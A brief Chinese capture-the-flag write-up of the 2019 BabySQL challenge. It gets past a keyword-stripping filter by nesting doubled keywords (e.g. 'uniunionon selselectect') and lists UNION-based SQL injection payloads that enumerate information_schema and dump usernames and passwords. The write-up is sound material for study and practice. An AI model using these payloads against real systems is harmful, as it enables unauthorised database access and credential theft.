[极客大挑战 2019]BabySQL

admin'#万能密码,给出一段md5没啥鸟用。

试常规注入流程吧,先判断列数。

admin' order by 1#

 or被过滤掉了呢,尝试大小写,注释符都无法绕过,双写有了新的报错,说明绕过成功,双写by,绕过成功。

增加到四列,出现报错

 说明列数为3。一顿撸

-1' uniunionon selselectect 1,2,database()#

-1' uniunionon selselectect 1,(seselectlect group_concat(table_name) frfromom infoorrmation_schema.tables whewherere table_schema=database()),3#

-1' uniunionon selselectect 1,(seselectlect group_concat(column_name) frfromom infoorrmation_schema.columns whewherere table_name='b4bsql'),3#

-1' uniunionon selselectect 1,(seselectlect group_concat(username,'~',passwoorrd) frofromm b4bsql),3#

最终拿到flag

原文地址:https://www.cnblogs.com/akger/p/15091331.html